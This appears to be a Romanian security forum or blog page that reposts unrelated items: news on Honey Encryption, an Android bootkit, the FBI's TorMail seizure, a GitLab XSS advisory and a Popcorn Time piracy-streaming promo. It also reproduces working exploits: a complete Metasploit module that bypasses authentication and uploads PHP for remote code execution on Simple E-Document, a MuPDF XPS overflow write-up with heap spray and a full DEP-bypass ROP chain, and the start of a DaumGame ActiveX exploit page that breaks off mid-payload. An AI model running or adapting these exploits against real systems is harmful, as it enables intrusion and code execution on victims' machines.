net3design

Great movies We're constantly searching all over the web for the best torrents from the most important sites. Awesome catalogue If the movie is out there, Popcorn Time will find the best version possible and start streaming it right away. No restrictions Watch any movie as many times as you want. All you need to get started is a proper internet connection. The best quality Watch your movie instantly in HD and with subtitles. And then keep watching. Installer for windows PopCorn Time Source: PopCorn Time

Spor la documentat pentru tot cei interesati

A functionat ! Multumim pentru hint d0xed !

A new approach to encryption beats attackers by presenting them with fake data Ari Juels, an independent researcher who was previously chief scientist at computer security company RSA, thinks something important is missing from the cryptography protecting our sensitive data: trickery. “Decoys and deception are really underexploited tools in fundamental computer security,” Juels says. Together with Thomas Ristenpart of the University of Wisconsin, he has developed a new encryption system with a devious streak. It gives encrypted data an additional layer of protection by serving up fake data in response to every incorrect guess of the password or encryption key. If the attacker does eventually guess correctly, the real data should be lost amongst the crowd of spoof data. The new approach could be valuable given how frequently large encrypted stashes of sensitive data fall into the hands of criminals. Some 150 million usernames and passwords were taken from Adobe servers in October 2013, for example. After capturing encrypted data, criminals often use software to repeatedly guess the password or cryptographic key used to protect it. The design of conventional cryptographic systems makes it easy to know when such a guess is correct or not: the wrong key produces a garbled mess, not a recognizable piece of raw data. Juels and Ristenpart’s approach, known as Honey Encryption, makes it harder for an attacker to know if they have guessed a password or encryption key correctly or not. When the wrong key is used to decrypt something protected by their system, the Honey Encryption software generates a piece of fake data resembling the true data. If an attacker used software to make 10,000 attempts to decrypt a credit card number, for example, they would get back 10,000 different fake credit card numbers. “Each decryption is going to look plausible,” says Juels. “The attacker has no way to distinguish a priori which is correct.” Juels previously worked with Ron Rivest, the “R” in RSA, to develop a system called Honey Words to protect password databases by also stuffing them with false passwords. Juels and Ristenpart will present a paper on Honey Encryption at the Eurocrypt cryptography conference later this year. Juels is also working on building a system based on it to protect the data stored by password manager services such as LastPass and Dashlane. These services store all of a person’s different passwords in an encrypted form, protected by a single master password, so that software can automatically enter them into websites. Password managers are a tasty target for criminals, says Juels. He believes that many people use an insecure master password to protect their collection. “The way they’re constructed discourages the use of a strong password because you’re constantly having to type it in—also on a mobile device in many cases.” Juels predicts that if criminals got hold of a large collection of encrypted password vaults they could probably unlock many of them without too much trouble by guessing at the master passwords. But if those vaults were protected with Honey Encryption, each incorrect attempt to decrypt a vault would yield a fake one instead. Hristo Bojinov, CEO and founder of mobile software company Anfacto, who has previously worked on the problem of protecting password vaults as a security researcher, says Honey Encryption could help reduce their vulnerability. But he notes that not every type of data will be easy to protect this way since it’s not always possible to know the encrypted data in enough detail to produce believable fakes. “Not all authentication or encryption systems yield themselves to being ‘honeyed.’” Juels agrees, but is convinced that by now enough password dumps have leaked online to make it possible to create fakes that accurately mimic collections of real passwords. He is currently working on creating the fake password vault generator needed for Honey Encryption to be used to protect password managers. This generator will draw on data from a small collection of leaked password manager vaults, several large collections of leaked passwords, and a model of real-world password use built into a powerful password cracker. Source : Technology Review

In this first video we will be looking at how to make your very own security system with the Raspberry Pi. In the second video we will finish the home made security system. We will look at the code as well as a quick demo. Source: misperry Videos Instructables

http://youtu.be/RKUJDob1UFk

Kaspersky Security Network is an integral part of Kaspersky Lab technology. With its ‘cloud’ architecture KSN automatically detects and blocks unknown malware and infected/dangerous websites, filters spam, protects children from unwanted content and lots more. Our aim is for users to always have as full a picture as possible of the current threat landscape around the world. That’s why we have come up with the Irida screensaver. It displays statistics about the latest threats that have been detected and blocked using KSN and is updated every 12 hours. Install our screensaver and discover the full potential of Kaspersky Security Network! Download at: Screensaver Source : Securelist Blog

Security vulnerability in GitLab (CVE-2013-7316) We have learned about a XSS vulnerability in GitLab. This issue was fixed in GitLab 6.5. Cross-site scripting (XSS) vulnerability in GitLab A cross-site scripting (XSS) vulnerability in GitLab allows remote attackers to inject arbitrary web script or HTML via a crafted HTML file. This vulnerability has been assigned the CVE identifier CVE-2013-7316. Versions affected: 6.4 and earlier Fixed versions: Community Edition 6.5.0, Enterprise Edition 6.5.0 Impact In affected versions, when adding a README with voluntary extension the file would be rendered with markup. This would allow an attacker to add a script that would be executed on the client side. This vulnerability was fixed in GitLab 6.5. All users running GitLab 6.4 and earlier versions should upgrade immediately. Releases Gitlab 6.5 Community Edition is available from https://gitlab.com/gitlab-org/gitlab-ce and https://github.com/gitlabhq/gitlabhq . GitLab 6.5 Enterprise Edition is available for subscribers from GitLab Cloud. Please follow the upgrade guides from your current version to version 6.5. Credits Thanks to ChenQin, Network and Information Security Lab @ Tsinghua University for reporting the vulnerability. Source : GitLab Blog

PayPal denies providing payment information to hacker who hijacked $50,000 Twitter username PayPal today denied the allegations made in the viral story “How I lost my $50,000 Twitter username” by Naoki Hiroshima, saying it immediately investigated the situation and has found it was not at fault. The company said its policies prohibit the discussion of “details related to our customers’ accounts,” but it wants to set the record straight as best as it can. PayPal is making the following assertions: PayPal says it carefully reviewed its records and can confirm that there was a failed attempt made to gain this customer’s information by contacting PayPal. PayPal did not divulge any credit card details related to this account. PayPal did not divulge any personal or financial information related to this account. This individual’s PayPal account was not compromised. “At PayPal the security of your personal and financial information is our top priority,” the company said. “Our customer service agents are well trained to prevent, social hacking attempts like the ones detailed in this blog post.” PayPal also said it is reaching out to the affected customer and will offer assistance. It’s unclear that the company will be able to do much for Hiroshima, given that the deed is already done. Since PayPal isn’t providing a recording of any phone calls the hacker reportedly made to the company, there is no way to verify if PayPal employees followed the correct protocols. At the same time, the hacker in question could easily not have told Hiroshima the truth about how he or she gained access. GoDaddy has yet to issue its own statements, but even then it appears this story will remain a “he said, she said” tale. We may never find out exactly what happened. Source : The Next Web

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Simple E-Document Arbitrary File Upload", 'Description' => %q{ This module exploits a file upload vulnerability found in Simple E-Document versions 3.0 to 3.1. Attackers can bypass authentication and abuse the upload feature in order to upload malicious PHP files which results in arbitrary remote code execution as the web server user. File uploads are disabled by default. }, 'License' => MSF_LICENSE, 'Author' => [ 'vinicius777[at]gmail.com', # Auth bypass discovery and PoC, kinda 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'References' => [ # This EDB uses SQLI for auth bypass which isn't needed. # Sending "Cookie: access=3" with all requests is all # that's needed for auth bypass. ['EDB', '31142'] ], 'Payload' => { 'DisableNops' => true, # Arbitrary big number. The payload gets sent as an HTTP # response body, so really it's unlimited 'Space' => 262144 # 256k }, 'Arch' => ARCH_PHP, 'Platform' => 'php', 'Targets' => [ # Tested on Simple E-Document versions 3.0 and 3.1 [ 'Generic (PHP Payload)', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Jan 23 2014', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Simple E-Document', '/simple_e_document_v_1_31/']) ], self.class) end # # Checks if target allows file uploads # def check res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'upload.php'), 'cookie' => 'access=3' }) unless res vprint_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end if res.body and res.body.to_s =~ /File Uploading Has Been Disabled/ vprint_error("#{peer} - File uploads are disabled") return Exploit::CheckCode::Safe end if res.body and res.body.to_s =~ /Upload File/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end # # Uploads our malicious file # def upload @fname = "#{rand_text_alphanumeric(rand(10)+6)}.php" php = "<?php #{payload.encoded} ?>" data = Rex::MIME::Message.new data.add_part('upload', nil, nil, 'form-data; name="op1"') data.add_part(php, 'application/octet-stream', nil, "form-data; name=\"fileupload\"; filename=\"#{@fname}\"") post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_') print_status("#{peer} - Uploading malicious file...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'upload.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => 'access=3', 'data' => post_data, 'vars_get' => { 'op' => 'newin' } }) fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") unless res fail_with(Failure::NotFound, "#{peer} - No upload.php found") if res.code.to_i == 404 fail_with(Failure::UnexpectedReply, "#{peer} - Unable to write #{@fname}") if res.body and (res.body =~ /Couldn't copy/ or res.body !~ /file uploaded\!/) print_good("#{peer} - Payload uploaded successfully.") register_files_for_cleanup(@fname) if res.body.to_s =~ /<br>folder to use: .+#{target_uri.path}\/?(.+)<br>/ @upload_path = normalize_uri(target_uri.path, "#{$1}") print_good("#{peer} - Found upload path #{@upload_path}") else @upload_path = normalize_uri(target_uri.path, 'in') print_warning("#{peer} - Could not find upload path - assuming '#{@upload_path}'") end end # # Executes our uploaded malicious file # def exec print_status("#{peer} - Executing #{@fname}...") res = send_request_raw({ 'uri' => normalize_uri(@upload_path, @fname), 'cookie' => 'access=3' }) if res and res.code == 404 fail_with(Failure::NotFound, "#{peer} - Not found: #{@fname}") end end # # Just upload and execute # def exploit upload exec end end Source : Exploit DB

Bafta tuturor !

0day - MuPDF Stack-based Buffer Overflow in xps_parse_color() #### # Date of discovery: 2013-01-26 # Software Links: MuPDF ; MuPDF - Wikipedia, the free encyclopedia # Version: <= 1.3 # Author: Jean-Jamil Khalifé # Tested on: Windows XP SP3 (fr) / Windows 7 x64 (fr) # Home: HDW Sec - Accueil # Blog: http://www.hdwsec.fr/blog/ #### Disclosure Timeline 2014-01-16 MuPDF contacted 2014-01-18 fix integrated Introduction I was recently looking for an opensource cpp lightweight PDF and XPS viewer to play with and I found MuPDF. So I decided to have some fun during my free time and took a look at the source code of this product and quickly checked it out to verify if some vulnerabilities were present or not. After about two hours, I found a dos and a stack overflow. This second vulnerability finally led to a remote code execution when a user opens a malicious XPS document. Analysis When MuPDF loads the XPS document, it loads the first page and parses each element via xps_parse_element() as detailed in the XPS specification ( http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-388.pdf ), When the crash occurs, the call stack looks like this : mupdf.exe!xps_parse_path mupdf.exe!xps_parse_element mupdf.exe!xps_parse_fixed_page mupdf.exe!xps_run_page mupdf.exe!fz_run_page_contents mupdf.exe!pdfapp_loadpage void xps_parse_element(xps_document *doc, const fz_matrix *ctm, const fz_rect *area, char *base_uri, xps_resource *dict, fz_xml *node ) { …………. if (!strcmp(fz_xml_tag(node), "Path")) xps_parse_path(doc, ctm, base_uri, dict, node); if (!strcmp(fz_xml_tag(node), "Glyphs")) xps_parse_glyphs(doc, ctm, base_uri, dict, node); …………. } In this case, the Path element is parsed via the xps_parse_path() function which allows extraction of the attributes and extended attributes (Clip, Data, Fill, …). If some conditions are fulfilled, we can trigger a stack overflow in the xps_parse_color() function when it parses the value "ContextColor" of the attribute "Fill". void xps_parse_path(xps_document *doc, const fz_matrix *ctm, char *base_uri, xps_resource *dict, fz_xml *root) { fz_stroke_state *stroke = NULL; fz_matrix transform; float samples[32]; fz_colorspace *colorspace; fz_path *path; fz_path *stroke_path = NULL; fz_rect area; int fill_rule; int dash_len = 0; fz_matrix local_ctm; ……. fill_att = fz_xml_att(root, "Fill"); ……. if (fill_att) { xps_parse_color(doc, base_uri, fill_att, &colorspace, samples); if (fill_opacity_att) samples[0] *= fz_atof(fill_opacity_att); xps_set_color(doc, colorspace, samples); fz_fill_path(doc->dev, path, fill_rule == 0, &local_ctm, doc->colorspace, doc->color, doc->alpha); } ……. } This function is in charge of getting all the floating numbers of ContextColor and putting them into the samples[32] buffer. The issue is that it does it without controlling the size of this array. void xps_parse_color(xps_document *doc, char *base_uri, char *string, fz_colorspace **csp, float *samples) { …………. else if (strstr(string, "ContextColor ") == string) { fz_strlcpy(buf, string, sizeof buf); profile = strchr(buf, ' '); if (!profile) { fz_warn(doc->ctx, "cannot find icc profile uri in '%s'", string); return; } *profile++ = 0; p = strchr(profile, ' '); if (!p) { fz_warn(doc->ctx, "cannot find component values in '%s'", profile); return; } *p++ = 0; n = count_commas(p) + 1; i = 0; while (i < n) { samples[i++] = fz_atof(p); p = strchr(p, ','); if (!p) break; p ++; if (*p == ' ') p ++; } } …………. } This is the assembly code from the compiled C code above : .text:0047C590 loc_47C590: .text:0047C590 push esi ; char * .text:0047C591 call fz_atof // convert into float .text:0047C596 fstp dword ptr [edi+ebx*4] .text:0047C599 add esp, 4 .text:0047C59C push 2Ch ; int .text:0047C59E push esi ; char * .text:0047C59F add ebx, 1 .text:0047C5A2 call _strchr // search next comma .text:0047C5A7 mov esi, eax .text:0047C5A9 add esp, 8 .text:0047C5AC test esi, esi // check if the returned pointer is null .text:0047C5AE jz short loc_47C5C1 .text:0047C5B0 add esi, 1 .text:0047C5B3 cmp byte ptr [esi], 20h // trim potential space .text:0047C5B6 jnz short loc_47C5BB .text:0047C5B8 add esi, 1 .text:0047C5BB .text:0047C5BB loc_47C5BB: .text:0047C5BB cmp ebx, ebp // check only the number of comma (oops… no test for the samples size) .text:0047C5BD jl short loc_47C590 This is an example of a proof-of-concept test case that triggers the overflow : <FixedPage Width="793.76" Height="1122.56" xmlns="<a href="http://schemas.microsoft.com/xps/2005/06">http://schemas.microsoft.com/xps/2005/06</a>" xml:lang="und"> <Path Data="" Fill="ContextColor 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47" /> </FixedPage> We need to write our shellcode into the heap, so maybe we could put a stack pivot to return at the beginning of the stack buffer, process the ROP chain and then do an egg hunter to execute the shellcode from the heap but there is a much nicer solution. It's possible to trigger multiple aligned allocations into the heap, even if we can't use javascript scripting routine. I used the "font" attribute to allocate binary data, controlling the size for each of them else it's not possible to make precise allocations. So we can now put the ROP and shellcode directly at 0x0c0c0c0c. If we take a look at the assembly code, the functions displayed below are used to do most of the allocations of elements and resources : .text:00421BCC loc_421BCC: .text:00421BCC mov edi, [esp+18h] .text:00421BD0 mov eax, [esi+44h] .text:00421BD3 call sub_40F730 .text:00421BD8 mov edi, [esp+1Ch] .text:00421BDC lea ebx, [edi+1] // ebx = 0x100000 (1mo) .text:00421BDF test ebx, ebx // check the size .text:00421BE1 mov [ebp+0], eax .text:00421BE4 mov [ebp+4], edi .text:00421BE7 mov esi, [esi+44h] .text:00421BEA jnz short loc_421BFD .text:00421BEC xor eax, eax .text:00421BEE .text:00421BEE loc_421BEE: ; CODE XREF: .text:00421C06_j ……. .text:00421BFD .text:00421BFD loc_421BFD: ; CODE XREF: .text:00421BEA_j .text:00421BFD mov eax, esi .text:00421BFF call do_scavenging_malloc // go malloc .text:00421C04 test eax, eax .text:00421C06 jnz short loc_421BEE .text:00421C08 push ebx .text:00421C09 push offset aMallocOfDBytes ; "malloc of %d bytes failed" .text:00421C0E lea ecx, [eax+1] .text:00421C11 call sub_40FAD0 No particular check is made except if the size is null or zero. Obviously, if it's zero, the function returns null. ebx contains the size of our block (0x100000). .text:0040F450 do_scavenging_malloc proc near .text:0040F450 push ecx .text:0040F451 push esi … .text:0040F470 .text:0040F470 loc_40F470: .text:0040F470 mov eax, [esi] .text:0040F472 mov ecx, [eax] .text:0040F474 mov edx, [eax+4] // & _sub_40F7A0() .text:0040F477 push ebx // size = 0x100000 .text:0040F478 push ecx .text:0040F479 call edx // call _sub_40F7A0() As we can see, __cdecl sub_40F7A0 is dynamically resolved and then called with the size argument filled in ebx before. .text:0040F7A0 ; int __cdecl sub_40F7A0(int, size_t) .text:0040F7A0 .text:0040F7A0 mov eax, [esp+arg_4] .text:0040F7A4 push eax ; size_t .text:0040F7A5 call _malloc // do HeapAlloc() of our font size .text:0040F7AA add esp, 4 .text:0040F7AD retn .text:0040F7AD sub_40F7A0 endp Finally, our font allocations are done and will remain without being freed. Practically, we need to generate many font files containing our binary data into a folder and write the path of each of them into the page file using FontUri attribute of Glyphs like shown below to load them. <FixedPage Width="793.76" Height="1122.56" xmlns="<a href="http://schemas.microsoft.com/xps/2005/06">http://schemas.microsoft.com/xps/2005/06</a>" xml:lang="und"> <Glyphs OriginX="96" OriginY="96" UnicodeString="This is Page 1!" FontUri="/Documents/1/Resources/Fonts/FONT-0.ttf" FontRenderingEmSize="16"/> <Glyphs OriginX="96" OriginY="96" UnicodeString="This is Page 1!" FontUri="/Documents/1/Resources/Fonts/FONT-1.ttf" FontRenderingEmSize="16"/> <Glyphs OriginX="96" OriginY="96" UnicodeString="This is Page 1!" FontUri="/Documents/1/Resources/Fonts/FONT-2.ttf" FontRenderingEmSize="16"/> … <Path Data="" Fill="ContextColor 5.962129799535157e-039,7.421697056603529e-039,7.334452214214666e-039, … /> </FixedPage> It now only remains to find a solution to bypass DEP. ASLR can be bypassed in this case because mupdf.exe isn't ASLR compiled. A stack pivot will allow executing the ROP from the heap 0x005000a7 : # XOR EAX,EAX # POP ESI # RETN 0x0C0C0C0C : 0x0C0C0C0C 0x00453eaa : # ADD EAX,ESI # POP ESI # POP ECX # RETN 0x0C0C0C0C : 0x0C0C0C0C 0x0C0C0C0C : 0x0C0C0C0C 0x0047033d : # XCHG EAX,ESP # POP EBP # POP ESI # POP EBX # RETN The ROP chain is based on mupdf.exe (which is non-ASLR). In this case, it appears that only VirtualAlloc is necessary to bypass DEP. 0x0040ebfe, # POP EAX # RETN 0x0050d0ac, # ptr to &VirtualAlloc() 0x004fdd78, # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN 0x41414141, # Filler (compensate) 0x00408e96, # XCHG EAX,ESI # RETN 0x004baf26, # POP EBP # RETN 0x0046521a, # & call esp 0x00421d9e, # POP EBX # RETN 0x00000001, # 0x00000001 0x004fff88, # POP EDX # RETN 0x00001000, # 0x00001000 0x0048ab04, # POP ECX # RETN 0x00000040, # 0x00000040 0x00472066, # POP EDI # RETN 0x00500681, # RETN (ROP NOP) 0x0050be74, # POP EAX # RETN 0x90909090, # NOP 0x004d99ac, # PUSHAD # RETN Conclusion The MuPDF library is vulnerable to a stack overflow and could be exploited in this case because of two conditions : the binary is non-aslr compiled allowing us to easily get a ROP chain and bypass DEP protection. it was compiled with /GS, maybe with an old version of Visual Studio which doesn't protect arrays of floats with stack cookies. Source : HDW Sec Exploit DB Download the PoC

A new trojan for Android has been discovered that resides in the memory of infected devices and launches itself early on in the OS loading stage. Even if some elements of the threat are removed successfully, at least one component will still reside in the protected memory area and will reinstall the malware after a reboot and, thus, re-infect the system. The threat, detected as “Android.Oldboot.1” by Russian security firm Doctor Web, is believed to be the first bootkit for Android according to the company. A bootkit, for those who don’t know, is a kernel-mode rootkit variant that can infect startup code in order to attack even attack full disk encryption systems as well as minimize the possibility that it will be deleted without tampering with the device’s file system. The malware has reportedly been detected on more than 350,000 mobile devices around the world, including Spain, Italy, Germany, Russia, Brazil, the US and some Southeast Asian countries. 92 percent of the compromised devices are, however, located in China: This is key to understanding that this threat doesn’t spread by simply browsing the Web, opening attachments, or even sideloading suspicious apps. The malware either ships with the device in question or is manually deployed by someone with physical access to an Android phone or tablet. Doctor Web explains a device is first infected by placing one of trojan’s components into the boot partition of the file system and by modifying the init script responsible for the initialisation of OS components. When the device is turned on, the modified script loads the code responsible for the trojan’s Linux-library imei_chk, which extracts the files libgooglekernel.so and GoogleKernel.apk, placing them in /system/lib and /system/app, respectively. Thus, part of the Trojan Android.Oldboot is installed as a typical application which further functions as a system service and uses the libgooglekernel.so library to connect to a remote server and receive various commands, most notably, to download, install or remove certain applications. Reflashing a device with modified firmware that contains the routines required for the trojan’s operation is the most likely way this threat is introduced, according to Doctor Web. The good news is that your device is unlikely to be infected with Android.Oldboot.1 unless you have purchased a dubious product from a Chinese manufacturer. On the flipside, this sets a dangerous precedent for Android malware that is very difficult to remove. Source : The Next Web RST Forums - Nytro 360 CN Blog

While investigating a hosting company known for sheltering child porn last year the FBI incidentally seized the entire e-mail database of a popular anonymous webmail service called TorMail. Now the FBI is tapping that vast trove of e-mail in unrelated investigations. The bureau’s data windfall, seized from a company called Freedom Hosting, surfaced in court papers last week when prosecutors indicted a Florida man for allegedly selling counterfeit credit cards online. The filings show the FBI built its case in part by executing a search warrant on a Gmail account used by the counterfeiters, where they found that orders for forged cards were being sent to a TorMail e-mail account: “platplus@tormail.net.” Acting on that lead in September, the FBI obtained a search warrant for the TorMail account, and then accessed it from the bureau’s own copy of “data and information from the TorMail e-mail server, including the content of TorMail e-mail accounts,” according to the complaint (.pdf) sworn out by U.S. Postal Inspector Eric Malecki. The tactic suggests the FBI is adapting to the age of big-data with an NSA-style collect-everything approach, gathering information into a virtual lock box, and leaving it there until it can obtain specific authority to tap it later. There’s no indication that the FBI searched the trove for incriminating evidence before getting a warrant. But now that it has a copy of TorMail’s servers, the bureau can execute endless search warrants on a mail service that once boasted of being immune to spying. “We have no information to give you or to respond to any subpoenas or court orders,” read TorMail’s homepage. “Do not bother contacting us for information on, or to view the contents of a TorMail user inbox, you will be ignored.” In another e-mail case, the FBI last year won a court order compelling secure e-mail provider Lavabit to turn over the master encryption keys for its website, which would have given agents the technical ability to spy on all of Lavabit’s 400,000 users – though the government said it was interested only in one. (Rather than comply, Lavabit shut down and is appealing the surveillance order). TorMail was the webmail provider of choice for denizens of the so-called Darknet of anonymous and encrypted websites and services, making the FBI’s cache extraordinarily valuable. The affair also sheds a little more light on the already-strange story of the FBI’s broad attack on Freedom Hosting, once a key service provider for untraceable websites. Freedom Hosting specialized in providing turnkey “Tor hidden service” sites — special sites, with addresses ending in .onion, that hide their geographic location behind layers of routing, and can be reached only over the Tor anonymity network. Tor hidden services are used by those seeking to evade surveillance or protect users’ privacy to an extraordinary degree – human rights groups and journalists as well as serious criminal elements. By some estimates, Freedom Hosting backstopped fully half of all hidden services at the time it was shut down last year — TorMail among them. But it had a reputation for tolerating child pornography on its servers. In July, the FBI moved on the company and had the alleged operator, Eric Eoin Marques, arrested at his home in Ireland. The U.S. is now seeking his extradition for allegedly facilitating child porn on a massive scale; hearings are set to begin in Dublin this week. According to the new document, the FBI obtained the data belonging to Freedom Hosting’s customers through a Mutual Legal Assistance request to France – where the company leased its servers – between July 22, 2013 and August 2 of last year. That’s two days before all the sites hosted by Freedom Hosting , including TorMail, began serving an error message with hidden code embedded in the page, on August 4. Security researchers dissected the code and found it exploited a security hole in Firefox to de-anonymize users with slightly outdated versions of Tor Browser Bundle, reporting back to a mysterious server in Northern Virginia. Though the FBI hasn’t commented (and declined to speak for this story), the malware’s behavior was consistent with the FBI’s spyware deployments, now known as a “Network Investigative Technique.” No mass deployment of the FBI’s malware had ever before been spotted in the wild. The attack through TorMail alarmed many in the Darknet, including the underground’s most notorious figure — Dread Pirate Roberts, the operator of the Silk Road drug forum, who took the unusual step of posting a warning on the Silk Road homepage. An analysis he wrote on the associated forum now seems prescient. “I know that MANY people, vendors included, used TorMail,” he wrote. “You must think back through your TorMail usage and assume everything you wrote there and didn’t encrypt can be read by law enforcement at this point and take action accordingly. I personally did not use the service for anything important, and hopefully neither did any of you.” Two months later the FBI arrested San Francisco man Ross William Ulbricht as the alleged Silk Road operator. The connection, if any, between the FBI obtaining Freedom Hosting’s data and apparently launching the malware campaign through TorMail and the other sites isn’t spelled out in the new document. The bureau could have had the cooperation of the French hosting company that Marques leased his servers from. Or it might have set up its own Tor hidden services using the private keys obtained from the seizure, which would allow it to adopt the same .onion addresses used by the original sites. The French company also hasn’t been identified. But France’s largest hosting company, OVH, announced on July 29, in the middle of the FBI’s then-secret Freedom Hosting seizure, that it would no longer allow Tor software on its servers. A spokesman for the company says he can’t comment on specific cases, and declined to say whether Freedom Hosting was a customer. “Wherever the data center is located, we conduct our activities in conformity with applicable laws, and as a hosting company, we obey search warrants or disclosure orders,” OVH spokesman Benjamin Bongoat told WIRED. “This is all we can say as we usually don’t make any comments on hot topics.” Source : Wired

!-- Trustwave SpiderLabs Security Advisory TWSL2014-002: Buffer Overflow Vulnerability in DaumGame ActiveX Published: 01/07/2014 Version: 1.1 Vendor: Daum (daum.net) Product: Daum Game ActiveX Version affected: 1.1.0.5, 1.1.0.4 Product description: DaumGame ActiveX of Daum Communications is a plugin that is required for playing in Daum Game website. Finding 1: ActiveX IconCreate SEH Overwrite Remote Code Execution Credit: Daniel Chechik of Trustwave SpiderLabs CVE: CVE-2013-7246 CWE: CWE-119 DaumGame ActiveX versions 1.1.0.5, 1.1.0.4 by Daum Communications includes the vulnerable method "IconCreate" which is designed to support icon process. The method which accepts printable characters suffers from buffer overflow vulnerability that leads to SEH overwrite. The following Proof of Concept (PoC) executes an harmless calculator. In this PoC the SEH handler is overwritten with an address from 'msls31.dll' in order to control EIP. ## daumgame.html --> <html> <body> <object name="activex2" classid="clsid:16B6A027-2732-4028-9303-EFE3E95EF766"> </object> <script> var overwrite = unescape("%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05 %05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05% 05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%0 